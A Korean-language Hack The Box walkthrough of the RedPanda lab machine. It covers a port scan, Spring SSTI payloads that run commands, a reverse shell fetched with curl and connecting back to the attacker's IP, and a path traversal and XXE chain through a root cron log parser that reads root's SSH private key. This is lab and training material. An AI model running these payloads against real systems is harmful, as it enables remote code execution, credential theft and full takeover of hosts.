[Hack The Box] RedPanda 풀이

3 λΆ„ μ†Œμš”

πŸ’‘ Hack-The-Box RedPanda 풀이 μž…λ‹ˆλ‹€.

문제

image

Enumeration

β”Œβ”€β”€(rootγ‰Ώkali)-[~kali/Desktop]
└─# nmap -sV -p - -vv --min-rate 3000 10.129.87.207 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-19 10:10 EST
Discovered open port 8080/tcp on 10.129.87.207
Discovered open port 22/tcp on 10.129.87.207
Host is up, received echo-reply ttl 63 (0.32s latency).
Scanned at 2023-02-19 10:10:30 EST for 89s
Not shown: 65526 closed tcp ports (reset)
PORT      STATE    SERVICE    REASON         VERSION
22/tcp    open     ssh        syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp  open     http-proxy syn-ack ttl 63
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

image

image

검색 κΈ°λŠ₯을 μ΄μš©ν•΄ 보면 μ‚¬μš©μžμ˜ μž…λ ₯값이 κ·ΈλŒ€λ‘œ 화면에 λ‹€μ‹œ λ‚˜μ˜΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ κΈ°λŠ₯의 경우 XSS, SSTI 취약점을 확인해 λ΄…λ‹ˆλ‹€.

*{3*3} 

을 μž…λ ₯ν•˜λ©΄ λ‹€μŒκ³Ό 같이 μ‹€ν–‰λœ κ²°κ³Όκ°€ λ‚˜μ˜΅λ‹ˆλ‹€.

image

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

image

이제 SSTI 취약점을 μ΄μš©ν•˜μ—¬ μ‰˜μ„ νšλ“ν•©λ‹ˆλ‹€.

칼리 λ¦¬λˆ…μŠ€μ—μ„œ λ¨Όμ € λ‹€μŒκ³Ό 같이 μ€€λΉ„λ₯Ό ν•΄λ‘‘λ‹ˆλ‹€.

echo "bash -i >& /dev/tcp/10.10.14.7/1234 0>&1" > revshell.sh
python -m http.server 80
nc -nlvp 1234

image

νŽ˜μ΄λ‘œλ“œλ₯Ό μ „μ†‘ν•©λ‹ˆλ‹€.

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl http://10.10.14.7/revshell.sh -o /tmp/revshell.sh').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod 777 /tmp/revshell.sh').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('bash /tmp/revshell.sh').getInputStream())}

image

Privilege Escalation

pspy64 & cron

pspy64λ₯Ό μ‹€ν–‰ν•΄μ„œ cron이 λ™μž‘ν•˜λŠ”μ§€ ν™•μΈν•©λ‹ˆλ‹€.

image

root κΆŒν•œμœΌλ‘œ μ‹€ν–‰λ˜λŠ” cron μž‘μ—…μ΄ μ‘΄μž¬ν•©λ‹ˆλ‹€.

ν•΄λ‹Ή μžλ°” ν”„λ‘œκ·Έλž¨μ˜ ꡬ성은 λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€. μ†ŒμŠ€μ½”λ“œ 파일인 App.java νŒŒμΌμ„ λΆ„μ„ν•©λ‹ˆλ‹€.

woodenk@redpanda:/opt/credit-score/LogParser/final$ ls -R
ls -R
.:
mvnw
pom.xml
pom.xml.bak
src
target

./src:
main
test

./src/main:
java

./src/main/java:
com

./src/main/java/com:
logparser

./src/main/java/com/logparser:
App.java

./src/test:
java

./src/test/java:
com

./src/test/java/com:
logparser

./src/test/java/com/logparser:
AppTest.java

./target:
archive-tmp
classes
final-1.0-jar-with-dependencies.jar
generated-sources
maven-status

./target/archive-tmp:

./target/classes:
com

./target/classes/com:
logparser

./target/classes/com/logparser:
App.class

./target/generated-sources:
annotations

./target/generated-sources/annotations:
public class App {
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);
        

        return map;
    }
    public static boolean isImage(String filename){
        if(filename.contains(".jpg"))
        {
            return true;
        }
        return false;
    }
    public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }

        return "N/A";
    }
    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());

        File fd = new File(path);
        
        Document doc = saxBuilder.build(fd);
        
        Element rootElement = doc.getRootElement();
 
        for(Element el: rootElement.getChildren())
        {
    
            
            if(el.getName() == "image")
            {
                if(el.getChild("uri").getText().equals(uri))
                {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }
    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
       // log νŒŒμΌμ„ λΆˆλŸ¬μ˜¨λ‹€.
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())
        {
          // λ‘œκ·ΈνŒŒμΌμ„ ν•œ 쀄씩 λΆˆλŸ¬μ˜¨λ‹€.
            String line = log_reader.nextLine();
            if(!isImage(line))
            {   // 이미지인지 확인(.jpg λ¬Έμžμ—΄ μ‘΄μž¬ν•˜λŠ”μ§€ 확인)
                continue;
            }
            // ν•œ 쀄씩 νŒŒμ‹±ν•œλ‹€. 
            Map parsed_data = parseLog(line);
            // νŒŒμ‹±λœ λ°μ΄ν„°μ—μ„œ uri 정보λ₯Ό ν†΅ν•΄μ„œ getArtist ν•¨μˆ˜ 호좜
            String artist = getArtist(parsed_data.get("uri").toString());
            // getArtist ν•¨μˆ˜μ˜ κ²°κ³Όλ₯Ό ν†΅ν•΄μ„œ xmlPath μ €μž₯
            String xmlPath = "/credits/" + artist + "_creds.xml";
            // xmlPath와 uri 정보λ₯Ό addviewTo ν•¨μˆ˜λ‘œ 전달
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }

    }
}


μ½”λ“œλŠ” λ‹€μŒκ³Ό 같이 λ‘œκ·ΈνŒŒμΌμ„ νŒŒμ‹±ν•©λ‹ˆλ‹€.

  1. /opt/panda_search/redpanda.log νŒŒμΌμ—μ„œ 둜그λ₯Ό ν•œ 쀄씩 읽어듀인닀.
  2. ν•΄λ‹Ή ν•œ μ€„μ—μ„œ .jpg λ¬Έμžμ—΄μ΄ μ‘΄μž¬ν•˜λŠ”μ§€ ν™•μΈν•œλ‹€.
  3. ||λ₯Ό κΈ°μ€€μœΌλ‘œ λ¬Έμžμ—΄λ“€μ„ 뢄리. 이 쀑, μ‚¬μš©λ˜λŠ” λ°μ΄ν„°λŠ” 4번째 λΈ”λ‘μœΌλ‘œ 이 데이터가 uriμ •λ³΄λ‘œ μ‚¬μš©.
  4. β€œ/opt/panda_search/src/main/resources/static” + uri 의 κ²½λ‘œμ— μžˆλŠ” 파일의 exif 정보λ₯Ό μ½μ–΄μ„œ artist 데이터 λ°˜ν™˜
    -> uri : /../../../../../../tmp/~~~ 둜 μ›ν•˜λŠ” 경둜의 νŒŒμΌμ„ 읽을 수 있음
  5. λ°˜ν™˜λœ artist 정보λ₯Ό ν† λŒ€λ‘œ String xmlPath = β€œ/credits/” + artist + β€œ_creds.xml” 와 같이 xmlPath μ§€μ • -> artist 정보λ₯Ό ../tmp/aa 와 같이 μ§€μ •ν•˜μ—¬ /tmp/aa_creds.xml νŒŒμΌμ„ 가리킀도둝 ν•  수 있음
  6. artist_creds.xml νŒŒμΌμ„ νŒŒμ‹±ν•˜μ—¬ μ €μž₯ -> κΈ°μ‘΄ xml νŒŒμΌμ— xxe 취약점을 μ΄μš©ν•΄ μž„μ˜μ˜ νŒŒμΌμ„ 읽을 수 있음

μœ„μ˜ 취약점듀을 ν™œμš©ν•˜μ—¬ xxe μ·¨μ•½μ μœΌλ‘œ λŒ€μƒ μ„œλ²„μ—μ„œ μž„μ˜μ˜ νŒŒμΌμ„ 읽을 수 μžˆμŠ΅λ‹ˆλ‹€. root κΆŒν•œμ„ μ–»κΈ° μœ„ν•΄μ„œ ssh private key 파일인 /root/.ssh/id_rsa νŒŒμΌμ„ μ½μ–΄μ˜΅λ‹ˆλ‹€.

LFI & XXE

/tmp/lazy.jpg νŒŒμΌμ„ λ‹€μš΄λ°›κ³  exiftool을 ν™œμš©ν•˜μ—¬ exif 정보λ₯Ό λ³€μ‘°ν•©λ‹ˆλ‹€.

image

image

xxeλ₯Ό λ°œμƒμ‹œν‚¬ xml νŒŒμΌμ„ μž‘μ„±ν•©λ‹ˆλ‹€.

image

μœ„μ˜ νŒŒμΌλ“€μ„ 경둜λ₯Ό κ³ λ €ν•˜μ—¬ λŒ€μƒ μ„œλ²„μ— μ—…λ‘œλ“œ ν•©λ‹ˆλ‹€.

image

λ‘œκ·ΈνŒŒμΌμ— λ‹€μŒκ³Ό 같이 μž‘μ„±λ˜λ„λ‘ ν•©λ‹ˆλ‹€.

  echo "1||2||3||/../../../../../../../../../tmp/lazy.jpg" > /opt/panda_search/redpanda.log

μž μ‹œ κΈ°λ‹€λ¦° 후에, xmlνŒŒμΌμ„ ν™•μΈν•©λ‹ˆλ‹€.

image

SSH

ν‚€ 데이터λ₯Ό 칼리 λ¦¬λˆ…μŠ€μ— μ €μž₯ν•˜κ³  λ‹€μŒκ³Ό 같이 μ ‘μ†ν•˜λ©΄ root둜 접속이 κ°€λŠ₯ν•©λ‹ˆλ‹€.

image

λŒ“κΈ€λ‚¨κΈ°κΈ°